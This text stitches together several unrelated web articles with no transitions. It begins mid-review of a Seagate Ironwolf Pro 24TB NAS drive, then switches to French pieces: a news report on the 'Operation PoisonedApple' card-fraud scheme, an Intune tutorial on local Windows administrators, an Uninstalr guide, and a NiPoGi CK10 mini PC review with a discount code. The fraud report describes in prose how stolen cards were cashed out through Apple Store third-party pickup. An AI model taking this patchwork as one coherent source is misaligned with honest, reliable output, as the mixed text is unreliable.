The next test used ATTO disk benchmark and this one used a 256MB, 1GB and 4GB test file in the same windows PC test environment. However, I also included the IOPS. The random 4K operations of a hard drive will typically be hugely dwarfed by those of SSDs, but enterprise HDDs and pro series drives still tend to rate noticeably higher than domestic HDD and standard-class NAS HDDs on this score.
In order to conduct a windows performance test, I copied 20GB of mixed files over to the drive as a separate disk. The result was consistent performance and the transfer, averaging at 205MB/s on the windows transfer overall and peaking at 260MB/s. Although this is lower than the transfer rates stated by Seagate and in the synthetic tests above, this is perfectly understandable when dealing with this high volume of small/differing date, compared with the largely Sequential Data tests stated elsewhere.
20GB Windows Transfer
Synology NAS Testing with the Seagate Ironwolf Pro 24TB Hard Drive
Now, before I move on to the NAS testing. It is worth highlighting a couple of important factors with regard to the Seagate Ironwolf Pro 24TB and the support available from each NAS brand I am focusing on for the testing. Now, Synology is the ONLY NAS brand in the market that also has its own first-party HDDs available to users too. These are Originally Toshiba Enterprise-grade produced hard disks that have had a Synology-specific firmware applied to them. Now, why is this relevant? Well, because some larger-scale Synology products in 2021 onwards do not list other 3rd Party HDDs as compatible. Even then, if you look up some of the older 2020 released NAS drives currently in the market (such as the DS920+ for example), they DO list HDDs from the likes of Seagate Ironwolf (and their EXOS and Skyhawk series) BUT they do not list drives larger than 18TB at the time of writing. This is an odd stance by the brand, when larger-scale 24TB and 22TB hard drives are available in the market and designed for NAS.
If you install an HDD or SSD inside a Synology system with the latest version of their software platform DSM, but the HDD in question is not on the compatibility list, you are greeted by a message that will detail that the drive is not recommended in the storage manager.
You can still use the HDD for Storage Pools, Volumes, Hot-spares, etc, but it is an oddly jarring message for some. Of course, this is the current compatibility of this HDD at the time of writing and may well change in the future as further HDD capacities arrive and additional compatibility testing takes place.
Nevertheless, you can still push through this warning and proceed to test the performance of the Seagate Ironwolf Pro 24TB HDD from within the Synology Storage Manager. Here are the results.
Noise Testing the Seagate Ironwolf Pro 24TB NAS Hard Drive
This is something that is often overlooked when users are getting excited about bigger and bigger HDDs entering the market and the Seagate Ironwolf Pro 24TB is no exception to this – NOISE! Because of the sheer scale of hardware that is getting packed into these larger capacity 3.5″ HDD casing and the more industrious hardware inside that needs to perform 24×7 durably, operational noise is unavoidable. Once you exceed around 8-10TB (HDD brand dependant), the increased platters and heavier duty actuator/arm mechanism needs to be a grat deal more reactive (due to the larger space that is needed to be covered ad-hoc. The Seagate ST2400NT002 24TB is a pretty spot-on example of this and although you are getting some great performance, it is achieved with a large amount of mechanical work under the bonnet. Now, if you are running a larger-scale data center/rackmount style setup, this is not going to be much of a barrier. As those kinds of server will have multiple fans and use horizontal pressure fan cooling – so they will be much louder than the drives! However, in more modest 4-8 Bay desktop NAS systems, its a different story, as these use smaller/quieter fans and alongside being more conductive of vibration, the noise of these drives in operation will be a great deal more obvious.
Here is an example of four Seagate Ironwolf Pro HDDs in a Synology DS923 4-Bay NAS, running an intense 4K IOPS benchmark on the drives (likely the LOUDEST THING you will ever hear, so this is not truly representative of idle/standby/low use):
If you want a better idea of typical operational noise and noise when booting the drive with the Seagate Ironwolf Pro 24TBs, watch the middle portion of the YouTube review HERE. Regardless, if you are sensitive to noise, will be in close proximity to the NAS device (direct 10GbE editing?) and will be running a smaller scale NAS system – then these new 24TB HDDs might not be quite your cup of tea!
Seagate Ironwolf Pro 24TB Hard Drive Review – Conclusion
There is no denying that Seagate certainly delivers on the prompted storage and performance that they have stated for the Ironwolf Pro 24TB NAS hard drive. This alongside fully tested and confirmed compatibility with Synology (though not by Synology themselves) devices means that you have a drive here that can turn any 4-Bay NAS into a staggering 96TB server in RAID 0 and 72TB RAID5 Storage data monster – let alone once you start thinking about rackmounts and hyperscale. The pricing of this 24TB is understandably high, but as always, when you start crunching down the ‘Price Per TB’, it ends up landing comfortably in the same region as other Pro class drives of a smaller capacity. As mentioned previously, I particularly appreciate that the workload discussion surrounding ‘Pro’ Class drives at 300TB/yr vs rapid HDD capacity growth is being addressed here with a 550TB/yr version to rival that of ‘Ent’ class drives – whatever the reason/motivation. With capacities getting higher and more ‘eggs being placed in baskets’, the durability of each individual drive in an array grows in importance, so the shift of these PRO class drives towards an ENTERPRISE class workload should be positively noted. The value of the Ironwolf Health Management tool is going to be something of debate and the inclusion of 3yrs data recovery services is a nice extra that (with any luck) few will need to use – but better to have them and not need them, than visa versa. As HDDs continue to increase in scale and Seagate (among other brands) continues to outline their plans to hit 50TB (so, halfway there with this one!) by the end of the decade, the Seagate Ironwolf Pro ST2400NT002 is another good example of an HDD that finds a sweet spot between price, durability and value. Just be aware that this is a drive designed for large-scale use and that means high operational noise and higher than typical power use than non-Pro and smaller cap drives!
PROs of the Seagate Ironwolf Pro 24TB
CONs of the Seagate Ironwolf Pro 24TB
Very Good Price Point vs WD Red/Red Pro
Industry Leading NAS HDD Capacity
Data Recovery Services Included (3yrs)
550TB/yr Workload & 2.5M MTBF
285MB/s Transfer Speeds
Impressively CMR, when most other drives at this Cap are SMR right now
This description contains links to Amazon. These links will take you to some of the products mentioned in today's content. As an Amazon Associate, I earn from qualifying purchases. Visit the NASCompares Deal Finder to find the best place to buy this device in your region, based on Service, Support and Reputation - Just Search for your NAS Drive in the Box Below
Need Advice on Data Storage from an Expert?
Finally, for free advice about your setup, just leave a message in the comments below here at NASCompares.com and we will get back to you.Need Help?
Where possible (and where appropriate) please provide as much information about your requirements, as then I can arrange the best answer and solution to your needs. Do not worry about your e-mail address being required, it will NOT be used in a mailing list and will NOT be used in any way other than to respond to your enquiry.
[contact-form-7]
TRY CHAT Terms and Conditions
If you like this service, please consider supporting us.
We use affiliate links on the blog allowing NAScompares information and advice service to be free of charge to you.Anything you purchase on the day you click on our links will generate a small commission which isused to run the website. Here is a link for Amazon and B&H.You can also get me a Ko-fi or old school Paypal. Thanks!To find out more about how to support this advice service checkHEREIf you need to fix or configure a NAS, check FiverHave you thought about helping others with your knowledge? Find Instructions Here
Or support us by using our affiliate links on Amazon UK and Amazon US
Alternatively, why not ask me on the ASK NASCompares forum, by clicking the button below. This is a community hub that serves as a place that I can answer your question, chew the fat, share new release information and even get corrections posted. I will always get around to answering ALL queries, but as a one-man operation, I cannot promise speed! So by sharing your query in the ASK NASCompares section below, you can get a better range of solutions and suggestions, alongside my own.
Grâce à la boutique en ligne Apple Store et à une option d'achat bien précise, des cybercriminels sont parvenus à s'emparer de plus de 400 000 dollars en 2 ans. Mais, comment ont-ils fait ?
À l'occasion d'une conférence organisée à l'événement Black Hat Asia, Gyuyeon Kim et Hyunho Cho, deux chercheurs de l’Institut de sécurité financière de Corée du Sud, ont dévoilé une vaste opération menée par des cybercriminels. Cette présentation baptisée "Operation PoisonedApple" est le fruit de plusieurs mois d'enquête.
Tout d'abord, les chercheurs ont identifié une vague de piratages ciblant une cinquantaine de centres commerciaux en ligne, notamment au Japon, grâce à l'utilisation d'une technique bien connue : le phishing. Les pages mises en ligne sont des copies des sites officiels et sont utilisés par les cybercriminels pour voler des informations personnelles au sujet des victimes, ainsi que leurs coordonnées bancaires.
"Ces groupes de cybercriminels ont utilisé diverses stratégies d'évasion pour empêcher la détection de leurs pages d'hameçonnage par les administrateurs de sites et les utilisateurs, en utilisant de multiples vulnérabilités et outils.", précise le rapport des chercheurs.
Au fil des mois, les pirates sont parvenus à collecter de nombreux numéros de cartes bancaires. Ils se sont alors demandés comment les utiliser sans attirer l'attention des forces de l'ordre ? C'est là que l'Apple Store entre en jeu.
Utilisation de petites annonces et de l'Apple Store
Pour commencer, les pirates ont publié des annonces en ligne sur un site de vente de matériel d'occasion situé en Corée du Sud. Nous pouvons imaginer que c'est l'équivalent du site « Leboncoin ». Par l'intermédiaire de ces annonces, ils ont proposé des produits Apple à des prix réduits : iPhone, Apple Watch, AirPods, etc. Compte tenu de l'attractivité des offres, de nombreux internautes ont contacté les pirates, sans le savoir, par l'intermédiaire de ces annonces.
Dès qu'un internaute effectuait un achat, les cybercriminels se servaient d'un numéro de carte bancaire volé pour commander le produit en ligne directement sur l'Apple Store. Au moment de passer la commande, les pirates ont pris soin de cocher l’option « Someone-else pickup » pour permettre à un tiers de retirer la commande ! Et là, ce fameux tiers déclaré, c'est l'acheteur qui a utilisé le site de vente de matériel d'occasion !
Finalement, l'argent de la première victime est utilisée pour passer cette commande sur l'Apple Store tandis que les pirates empochent l'argent via le site de petites annonces grâce à la seconde victime. D'ailleurs, elle ne dira rien, car elle va récupérer du matériel flambant neuf à prix réduit, tout en ignorant que la commande a été réglée avec un numéro de cartes volé...
Ce stratagème a permis aux cybercriminels de voler 400 000 dollars en deux ans. D'après les chercheurs en sécurité, les attaques sont toujours en cours et les pirates cherchent de nouvelles cibles. De son côté, Apple, refuse de coopérer en raison de réglementations internes et toujours dans la volonté de protéger la vie privée de ses utilisateurs.
Dans ce tutoriel, nous allons apprendre à gérer le groupe "Administrateurs" local des appareils Windows 10 et Windows 11 à l'aide d'une stratégie Intune. Ceci s'avère particulièrement utile pour ajouter un utilisateur ou un groupe Entra ID (Azure AD) en tant qu'administrateur d'un ensemble d'appareils.
Le groupe "Administrateurs" présent sur chaque machine Windows est particulièrement sensible, car tous les membres de ce groupe peuvent administrer l'ordinateur : installation d'applications, modification des paramètres du système, etc... De ce fait, il est important de gérer les membres de ce groupe afin d'en garder la maitrise et la gestion centralisée par une stratégie permet d'avoir une configuration homogène.
Il me semble important de vous présenter la configuration cible présentée dans ce tutoriel, car les possibilités sont nombreuses ! En effet, vous verrez que vous avez l'opportunité d'ajouter des membres au groupe "Administrateurs" sans toucher aux membres déjà présents, ou à l'inverse de le purger pour ajouter les membres présents dans la stratégie Intune que nous allons créer.
En ce qui me concerne, voici la configuration que je souhaite déployer :
Nous allons créer un groupe de sécurité nommé "Admins_PC" dans Entra afin que tous les membres de ce groupe soient en mesure d'administrer les appareils Windows 10 et Windows 11 de notre parc informatique.
De plus, nous souhaitons supprimer tous les membres présents dans le groupe "Administrateurs", sauf les utilisateurs locaux nommés "adm_itconnect" et "Administrateur" (qui lui est désactivé par une autre stratégie et ne peut pas être retiré aussi simplement de ce groupe). L'utilisateur "adm_itconnect" quant à lui est géré par Windows LAPS.
Vous allez me dire : pourquoi supprimer les membres déjà présents du groupe "Administrateurs" ? Tout simplement, car je souhaite entièrement maîtriser les membres de ce groupe et je ne souhaite pas que le propriétaire de l'appareil, qui est un utilisateur lambda, soit Administrateur local de la machine.
III. Le propriétaire de l'appareil est administrateur local
Lorsqu'un appareil est joint Entra ID par un utilisateur, ce dernier devient automatiquement administrateur local de la machine Windows. La configuration que nous allons effectuer aujourd'hui va permettre de l'exclure ou de le conserver, en fonction des valeurs associées aux paramètres.
Récemment, Microsoft a introduit deux nouveaux paramètres dans la section "Paramètres de l'appareil" accessible via le portail Microsoft Entra puis "Appareils".
Le rôle Administrateur général est ajouté en tant qu’administrateur local sur l’appareil lors de la jointure Microsoft Entra (préversion)
Ce paramètre permet d'indiquer si oui ou non, un Administrateur général du tenant doit être ajouté en tant qu'administrateur local d'un appareil au moment de la jonction à Microsoft Entra ID. Tout dépend de vos besoins et votre façon de gérer votre SI, mais pour des raisons de sécurité et dans l'objectif de cloisonner les rôles, il est préférable qu'un Administrateur général ne soit pas également administrateur des appareils. Cette option offre plus de contrôle, même si ce n'est pas rétroactif pour les appareils déjà inscrits.
L’utilisateur qui inscrit son appareil est ajouté en tant qu’administrateur local sur l’appareil lors de la jointure Microsoft Entra (préversion)
Ce paramètre permet d'indiquer si oui ou non, l'utilisateur à l'origine de l'inscription de l'appareil doit être ajouté en tant qu'administrateur local sur cet appareil, au moment de la jonction à Microsoft Entra ID. Ceci n'est pas rétroactif pour les appareils déjà inscrits, mais au moins, cela vous permet de faire votre choix pour l'avenir.
Voici un aperçu de ces deux paramètres :
IV. Gérer les administrateurs des appareils : deux solutions
Avant de commencer, sachez que les utilisateurs avec le rôle "Administrateur général" pourront administrer les appareils, et que vous pouvez gérer le groupe "Administrateurs" local de deux façons :
Avec l'attribution du rôle "Administrateur local de l’appareil joint Microsoft Entra" d'Entra
Cette méthode peut s'avérer pratique, mais elle n'est pas flexible : les membres de ce groupe seront administrateurs de tous les appareils.
Avec une stratégie de sécurité Intune
Cette méthode, que nous allons mettre en place, offre plus de flexibilité, car nous pouvons cibler uniquement un ensemble d'appareils (affectation par groupe) ou tous les appareils.
V. Préparer le groupe de sécurité Entra ID
À partir du portail Microsoft Entra, nous allons créer un groupe de sécurité. Cliquez sur "Tous les groupes" sous "Groupes" puis cliquez sur "Nouveau groupe". Ce groupe de sécurité s'appellera "Admins_PC" et il aura un membre : l'utilisateur qui doit être administrateur local des appareils.
Remarque : si vous avez besoin de gérer le groupe "Administrateurs" local de machines jointes dans Entra ID (Azure AD) mais aussi pour des machines "hybrides", vous devez configurer deux stratégies distinctes. Ceci permettra d'éviter certaines erreurs d'application de la stratégie.
Cliquez sur la gauche sur "Sécurité du point de terminaison" (1), puis sur "Protection de compte" (2) afin de pouvoir "Créer une stratégie" (3). C'est également de cette façon que l'on peut définir une stratégie pour Windows LAPS.
Choisissez la plateforme "Windows 10 et ultérieur", puis sélectionnez le profil "Modifier l'appartenance du groupe de l'utilisateur".
Commencez par ajouter un nom et une description à cette stratégie. Dans cet exemple, la stratégie est nommée "Ajouter le groupe Admins_PC en administrateur local". Passez à l'étape suivante.
L'étape "Paramètres de configuration" va nous permettre de gérer les membres du groupe Administrateurs, mais pas seulement ! En effet, nous pouvons voir qu'Intune offre la possibilité de gérer également d'autres groupes prédéfinis : Utilisateurs, Invités, Utilisateurs du Bureau à distance, etc...
Nous allons simplement sélectionner "Administrateurs" pour répondre à notre besoin.
Ensuite, nous devons configurer d'autres paramètres :
Action du groupe et de l'utilisateur : quelle stratégie adopter pour gérer le compte administrateur, notamment vis-à-vis des objets déjà membres de ce groupe. Trois choix sont proposés :
Ajouter (mettre à jour) : ajouter de nouveaux membres, tout en conservant la liste actuelle des membres (donc on conserve l'existant)
Supprimer (mettre à jour) : supprimer les membres spécifiés, tout en conservant les autres membres (utile pour faire du tri)
Ajouter (remplacer) : supprimer les membres actuels et ajouter ceux définis dans cette stratégie
Type de sélection de l'utilisateur :
Utilisateurs/groupes : sélectionner des utilisateurs et/ou groupes à partir d'Entra ID
Manuel : ajouter des utilisateurs en spécifiant le nom (avec éventuellement le domaine Active Directory en préfixe) ou le SID
Utilisateurs/groupes sélectionnés : choisir les objets à ajouter en tant que membre du groupe Administrateurs
Nous allons choisir "Ajouter (remplacer)" pour ajouter le groupe "Admins_PC" en tant que nouveau membre du groupe "Administrateurs", tout en supprimant l'existant.
Ensuite, nous devons choisir "Manuel" comme "Type de sélection de l'utilisateur" afin de pouvoir spécifier à la fois le groupe "Admins_PC" d'Entra par l'intermédiaire de son SID et les utilisateurs locaux.
Pour récupérer le SID du groupe "Admins_PC", vous pouvez utiliser cet outil en ligne ou ce script PowerShell afin de convertir l'ObjectID en SID. À partir du portail Entra, récupérez la valeur de "ID d'objet" et collez cette valeur sur la page de l'outil afin d'obtenir le SID. Vu que nous sommes en mode manuel, nous sommes contraint d'utiliser cette méthode.
Note : si vous désirez faire un ajout d'un groupe sans écraser l'existant, vous pouvez rester sur "Utilisateurs/groupes" et cliquer sur "Sélectionner des utilisateurs/groupes" pour sélectionner directement le groupe dans Entra ID.
Voici la configuration obtenue. Attention, n'ajoutez pas plusieurs instructions "Ajouter (remplacer)" pour le même groupe local, sinon la seconde règle écrasera la première règle.
Nous pouvons continuer... Jusqu'à l'étape n°4.
Vous devez choisir à quels appareils affecter cette stratégie, en fonction de vos besoins. Sélectionnez un ou plusieurs groupes d'appareils, ou utilisez l'option "Ajouter tous les appareils".
Poursuivez jusqu'à la fin dans le but de créer la stratégie. La stratégie est prête !
VII. Tester la stratégie Intune
La prochaine étape consiste à tester cette stratégie Intune sur un appareil. Voici l'état actuel de la machine Windows 11 utilisée pour faire le test, c'est-à-dire avant application de notre nouvelle stratégie de protection de compte.
Après avoir synchronisé l'appareil, nous pouvons voir qu'il a bien récupéré une stratégie "LocalUsersAndGroups", ce qui est plutôt bon signe.
Pour vérifier la liste des membres du groupe "Administrateurs", il suffit d'accéder à la console "Gestion de l'ordinateur" (comme dans l'exemple ci-dessous).
Ici, nous remarquons plusieurs valeurs, notamment deux comptes locaux : "adm_itconnect" et "Administrateurs". En plus, nous avons un SID qui est présent et la traduction avec le nom n'est pas effectuée. Toutefois, il faut savoir que tout SID que vous voyez dans le groupe "Administrateurs" commençant par "S-1-12-1" correspond à un groupe Entra ID (Azure AD).
Pour faire la correspondance entre ce SID et les groupes dans Entra ID, nous pouvons utiliser ce script PowerShell (ou ce site).
Si nous prenons l'exemple du script, il suffit d'indiquer le SID comme valeur de la variable "$sid" située à la fin du script. Par exemple :
Puis, il faut exécuter la fonction PowerShell pour obtenir le "GUID" (ObjectId) du groupe :
Guid
----
768a3b68-b5b5-462a-88fc-c41938db68ae
Ainsi, dans le portail Entra, nous pouvons voir que cet ID correspond bien au groupe "Admins_PC". Vous pouvez copier-coller l'objectID dans la zone de recherche pour gagner du temps !
Nous pouvons en conclure que la configuration fonctionne ! Tous les utilisateurs membres du groupe "Admins_PC" seront administrateurs des appareils.
VIII. Conclusion
Grâce à ce tutoriel, vous pouvez gérer les membres du groupe "Administrateurs" de vos appareils Windows 10 et Windows 11 à l'aide d'une stratégie Intune relativement simple à mettre en place ! Cette stratégie peut être utilisée avec des appareils "Joined", mais aussi en environnement hybride lorsque les appareils sont inscrits en "Hybrid Joined".
Pour aller plus loin, vous pouvez configurer Windows LAPS pour sécuriser le compte Administrateur local :
Uninstalr est un moyen rapide, léger, gratuit et précis de désinstaller des logiciels sous Windows. Il offre de multiples fonctionnalités :
Désinstallation par lots de plusieurs applications en même temps
Supporte la désinstallation sans surveillance des applications
Analyse approfondie des données créées sur le système par les applications installées.
Prise en charge de la surveillance des nouvelles installations de logiciels
Permet de corriger les données incorrectes de la liste des applications installées de Windows. Par exemple, les applications installées affichent une quantité d’espace utilisée erronée
Détecte également les applications portables et les restes de logiciels précédemment désinstallés. Affiche toutes les données ajoutées à votre système par les logiciels installés, fichier par fichier Affiche toutes les données qu’il supprimera avant de lancer la désinstallation Trier, filtrer et rechercher dans la liste des logiciels installés
Peut réparer l’installation d’une application, si vous avez supprimé des clés du registre Windows
Si vous cherchez une alternative à Revo Uninstaller, ce dernier peut répondre à vos besoins. Dans ce tutoriel, je vous montre comment utiliser Uninstalr.
Installer Uninstalr et premier démarrage
Téléchargez l’utilitaire depuis ce lien :
Uninstalr
Lancez le logiciel et laissez l’analyse des applications installées s’effectuer
Appuyez sur F10 ou cliquez en haut à gauche sur le bouton pour ouvrir le menu > Paramètres
Puis dans “Langue de l’interface utilisateur“, sélectionnez “Français“
Cliquez sur “Enregistrer les paramètres“
Voici une présentation de l’interface utilisateur du logiciel.
Comment désinstaller les applications avec Uninstalr
La fonction principale de Uninstalr est sa capacité d’installer une ou plusieurs application(s) sans laisser aucune tracfe et résidu. Voici comment faire :
Enregistrez les travaux en cours
Depuis la liste sélectionnez le ou les logiciel(s) à désinstaller
Cliquez en bas sur “Désinstaller“
N’oubliez pas que vous pouvez filtrer ou trier la liste des applications installées ou encore faire une recherche.
Le logiciel vous affiche la liste des éléments du système qui seront supprimés
Cliquez sur “Démarrer la désinstallation“
Confirmez la modification du système en cliquant sur “Yes“
La désinstallation des programmes s’opèrent, patientez
Cliquez sur OK sur le message indiquant que l’ordinateur doit redémarrer
L’ordinateur redémarre, identifiez sur Windows
Des fenêtres d’invites de commandes (cmd) peuvent s’ouvrir, laissez les effectuer les opérations
Comment monitorer l’installation d’une application
Une fonction très utile est la possibilité de monitorer les modifications du système effectuées par l’installation d’une application. Cela permet une désinstallation beaucoup plus propre car le logiciel sera en mesure de supprimer l’intégralité des éléments du système. En autre, vous pouvez visualiser ces modifications. Si vous avez un doute sur la légitimité d’une application, cela peut montrer des modifications malveillantes du système.
Voici comment l’utiliser :
Cliquez sur “Moniteur“
Vous arrivez sur la fenêtre suivante où Uninstalr écoute le système pour enregistrer toutes modifications
Lancez l’installation du logiciel
Uninstalr peut détecter le nom de l’application en cours d’installation et l’afficher
Terminez l’installation de l’application normalement
Vous pouvez alors cliquez sur le bouton “Montrer” pour visualiser les modifications du système effectuée
Cliquez sur “Fermer“
Réparer l’installation d’une application
Comme Uninstalr connaît les éléments modifiés dans le système, il peut aussi rétablir des clés du registre de Windows qui ont été modifiés. Cela peut vous permettre de réparer une application installée. Pour l’utiliser :
Cliquez sur le bouton “Réparer“
La liste des écarts entre les applications installées et le système s’affiche
Si la liste est longue, en bas vous pouvez sauter vers les modifications d’une application précise
Cliquez en bas sur le bouton “Réparer” pour rétablir l’intégralité des éléments de la base de registre
Dans cet article, nous allons évoquer le mini PC NiPoGi CK10 dans sa version avec un processeur Intel Core i5-12450H, 16 Go de RAM et un stockage SSD NVMe de 512 Go !
Ce test est l'occasion d'évoquer les caractéristiques techniques, le design, l'évolutivité et les performances de ce modèle compact ! Comme souvent, NiPoGi propose plusieurs configurations pour une seule référence. Le modèle CK10 est également disponible avec 32 Go de RAM et 1 To de SSD, à ne pas confondre avec la version présentée dans cet article.
II. Caractéristiques du NiPoGi CK10
Commençons par découvrir les caractéristiques principales de ce modèle :
Stockage : 512 Go SSD NVMe (M.2 - PCIe 3.0) + 1 emplacement vide SSD NVMe + 1 emplacement pour disque SATA 2.5 pouces
Connectique en façade : 2 x USB 3.0, 1 x USB-C 3.0, 1 x Jack audio et le bouton Power
Connectique à l'arrière : 2 x USB 3.0, 2 x HDMI 2.0, 1 x RJ45 1 Gbit/s et 1 fente de verrouillage Kensington
Connectique sur le côté gauche : 1 x VGA
Affichage : prise en charge de trois écrans grâce aux deux ports HDMI et au port VGA
WiFi 6, Bluetooth 5.2
Alimentation (sortie) : 19V/3.42A - 64.98W
Poids : 470 grammes
Dimensions (L x W x H) : 13,8 x 12,6 x 5 cm
Système d'exploitation : Windows 11
Prix : 360.00 euros - Rendez-vous en fin d'article pour notre offre bon plan
III. Package, design et conception
La boite, entièrement blanche, est sobre, mais elle a le mérite de nous donner des précisions sur la version présente à l'intérieur. L'ordinateur et les accessoires sont correctement emballés et protégés par d'épaisses mousses. Le matériel est arrivé en parfait état, c'est ce que nous retiendrons.
Qu'avons-nous à l'intérieur de la boite ? Le mini PC est accompagné par l'alimentation externe et son câble, ainsi qu'un câble HDMI, un support VESA (et les vis), une notice d'utilisation (en français, utile si vous envisagez d'utiliser le support VESA pour fixer le PC à l'arrière d'un écran), et une rallonge SATA à utiliser si vous souhaitez ajouter un disque SATA 2.5 pouces.
Le boitier gris anthracite de ce mini PC NiPoGi est entièrement en plastique. Le plastique est rigide et semble relativement solide. Le boitier est correctement assemblé et tous les ports sont bien accessibles : aucun défaut n'est à relever. La seule chose qui me gêne réellement, c'est l'emplacement hasardeux des deux stickers sur le dessus du boitier (que l'on peut retirer facilement). En dessous, nous retrouvons 4 patins antidérapants d'une épaisseur de 4 mm. Nous constatons qu'il y a une entrée d'air sur le dessus, mais aussi en dessous du boitier, tandis que l'extraction de l'air s'effectue par l'arrière du boitier.
La façade de ce mini PC est riche en connectique puisque 2 ports USB 3.0, 1 port USB-C et une prise Jack sont facilement accessibles. À l'arrière, il y a également 2 ports USB 3.0, ainsi que 2 ports HDMI et une interface RJ45 Gigabit Ethernet (1 Gbit/s). Sur la gauche du boitier, il y a également un port VGA : ce qui est assez rare de nos jours, mais cela permet à ce modèle de se démarquer ! Ainsi, vous pouvez connecter 3 écrans : 2 en HDMI et 1 en VGA. D'ailleurs, le port VGA pourrait être utilisé pour connecter un vidéoprojecteur ou un écran qui n'est pas équipé d'un port HDMI.
Pour ouvrir le boitier et accéder à l'intérieur, il suffit de retirer les 4 vis présentes en dessous du boitier. Ceci va nous permettre de découvrir les composants et l'image ci-dessous montre l'emplacement pour disque SATA, au format 2.5 pouces.
À l'intérieur du boitier, il y a un espace confortable entre les différents composants, mais ce sera différent si vous ajoutez un disque SATA 2.5 pouces. Néanmoins, il est important de préciser que ce boitier est un peu plus grand que beaucoup d'autres modèles de mini PC. Voici ce qui est à noter :
Il y a deux slots pour la mémoire vive (RAM) et les deux sont déjà occupés par 2 barrettes de 8 Go
Il y a deux barrettes de RAM SO-DIMM de marque Lexar : 8 Go 1Rx8 PC4-3200AA-SA21.2V
Il y a un disque SSD NVMe, équipé d'un dissipateur et d'une épaisse couche de pâte thermique. C'est appréciable (mais ceci nous empêche de lire l'étiquette pour en savoir plus sur la référence).
Il y a un emplacement libre pour ajouter un second disque SSD NVMe (PCIe 3.0)
Il y a une carte RealTek RTL8852BE pour le Wi-Fi 6 et le Bluetooth 5.2
Voici les entrailles du CK10 en photos :
IV. Évolutivité et performances
A. Mise en route et évolutivité
Ce mini PC est livré avec le système Windows 11 Pro, en version 22H2, donc il y aura des mises à jour à installer. Nous devons finaliser la mise en route, mais cela est très rapide puisque nous devons seulement définir le nom d'utilisateur. Il s'agit d'une image personnalisée par NiPoGi (probablement avec un fichier de réponse) et elle occupe 37 Go sur le disque (ce qui est beaucoup !).
Comme pour tous les ordinateurs, je vous recommande de réinstaller la machine avec une image propre et téléchargée depuis le site de Microsoft si vous souhaitez continuer sur Windows. Cette machine est pleinement compatible avec Windows 11, car elle respecte tous les prérequis (y compris la puce TPM 2.0).
À part Google Chrome qui est intégré à l'image de Windows 11, il n'y a pas d'autres logiciels supplémentaires visibles. Bien entendu, nous avons le droit à toute la panoplie d'applications de chez Microsoft.
Le mini-PC est livré avec 16 Go de RAM en DDR4, mais une mise à niveau est possible. Le processeur i5 de ce modèle supporte 64 Go de RAM, ce qui signifie que nous pouvons remplacer les 2 barrettes de 8 Go par 2 x 32 Go. De quoi faire une belle évolution si vous souhaitez utiliser ce PC pour de la virtualisation.
En résumé, pour faire évoluer la configuration de ce mini PC, vous avez plusieurs options : augmenter la RAM, ajouter un disque SATA (2.5 pouces) et ajouter un disque SSD NVMe.
B. Performances
Ce mini PC est propulsé par un processeur Intel Core i5 de 12ème génération lancé au premier trimestre 2022. Le modèle i5-12450H a 8 cœurs et 12 threads, 12 Mo de cache et sa fréquence maximale en mode Turbo est 4,4 GHz. Sachez que NiPoGi a limité la consommation d'énergie du CPU à 35 watts, ce qui affectera légèrement les performances sur du traitement multithread.
Commençons par mesurer les performances du disque SSD NVMe intégré à l'ordinateur.
Le SSD NVMe présent dans ce mini PC NiPoGi offre de belles performances : un copier-coller de gros fichiers en local (de disque à disque, sur le même volume), est effectué avec une vitesse moyenne de 834 Mo/s.
Voici un benchmark du disque effectué avec Crystal Disk Mark :
Ainsi qu'un aperçu du disque dans Crystal Disk Info :
J'ai également effectué un benchmark du CPU et du GPU avec Geekbench, vous pouvez y accéder sur ces pages :
Pendant le stress test du CPU (charge à 100%), la ventilation souffle un peu plus fort, mais cela reste discret. Au ralenti, les ventilateurs sont vraiment très discrets et ne vous gêneront pas du tout.
D'après HWMonitor, lorsque le mini PC est allumé sans être sollicité, la température du CPU est de 40°C. Pendant le stress test du CPU, la température du CPU monte en flèche jusqu'à 91.0°C (au bout de 5 minutes, environ). Ceci n'est pas surprenant, car l'air exfiltré par l'arrière du boitier est bien chaud ! Par contre, ensuite, la température met du temps à redescendre, comme si le système de refroidissement était un peu à la peine.
Que peut-on faire et ne pas faire avec ce modèle ?
Au quotidien, pour de la bureautique et un peu de multimédia, ce PC est parfaitement adapté. Il est très silencieux et supporte très bien la navigation sur Internet avec de nombreux onglets, la lecture de vidéos en 4K (sur YouTube, par exemple), mais également l'utilisation d'applications telles que la suite Microsoft Office. Ceci en fait un compagnon intéressant et abordable si vous recherchez ce type de mini PC.
La principale limitation, c'est la puce graphique intégrée : Intel UHD Graphics qui est un iGPU. Autrement dit, ce n'est pas une configuration adaptée au gaming. Vous pouvez envisager de jouer à des jeux peu gourmands, ou, à des jeux disponibles depuis 3 ans, 4 ans, ou plus, en ajustant les paramètres de qualité graphique, mais c'est tout. À titre d'exemple, vous pouvez jouer à GTA V : tous les effets visuels ne peuvent pas être activés, mais en Full HD, le jeu est fluide !
Voici un aperçu (à gauche, une copie d'écran - à droite, une photo de l'écran).
V. Conclusion
C'est l'heure du verdict ! Le mini PC NiPoGi CK10 n'est pas parfait, mais il y a plusieurs points à mettre en avant. Tout d'abord, sa puce Intel Core i5 de 12ème génération qui répond présente et assure un bon niveau de performances, tout comme son disque SSD NVMe qui offre de bonnes performances ! Quant à la RAM, disons que 16 Go, c'est le minimum recommandé pour utiliser un PC confortablement et pour le multitâches. Si cela ne suffit pas, vous pouvez toujours prévoir une mise à niveau de la RAM (comptez plus de 130 euros pour passer sur 64 Go), mais aussi du stockage, car vous pouvez ajouter un disque SATA au format 2.5 pouces et un second disque SSD NVMe.
NiPoGi cherche toujours à apporter un peu d'originalité au design de ses boitiers, et c'est le cas avec le CK10. J'ai apprécié la présence d'une connectique riche, avec notamment de nombreux ports USB dont 3 en façade (2 USB-A + 1 USB-C). Néanmoins, le boitier de ce mini PC est légèrement plus imposant que d'autres modèles (même s'il reste compact : 13,8 x 12,6 x 5 cm) et il y a également l'absence d'un lecteur de carte SD. C'est à préciser, car pour certains usages, cela peut avoir son importance. Par ailleurs, le port VGA présent sur le côté du boitier peut surprendre, mais c'est malgré tout un atout pour ce modèle. Ce petit détail plaira à ceux qui ont besoin d'une machine récente, compacte et équipée du VGA.
Maintenant, il est important de mettre un tarif en face de cette configuration et ce verdict. Découvrez notre offre spéciale ci-dessous.
Profitez de notre offre spéciale pour acheter ce mini PC au meilleur prix :
Grâce au code "6Q5HMH9M", vous pouvez bénéficier de 7% de réduction sur ce mini-PC ! Ce code est valide jusqu'au 12 juin 2024, à 23:59 (heure française).
Le tarif passe de 360,05 € à 334,85 € soit une réduction de 25,20 €.
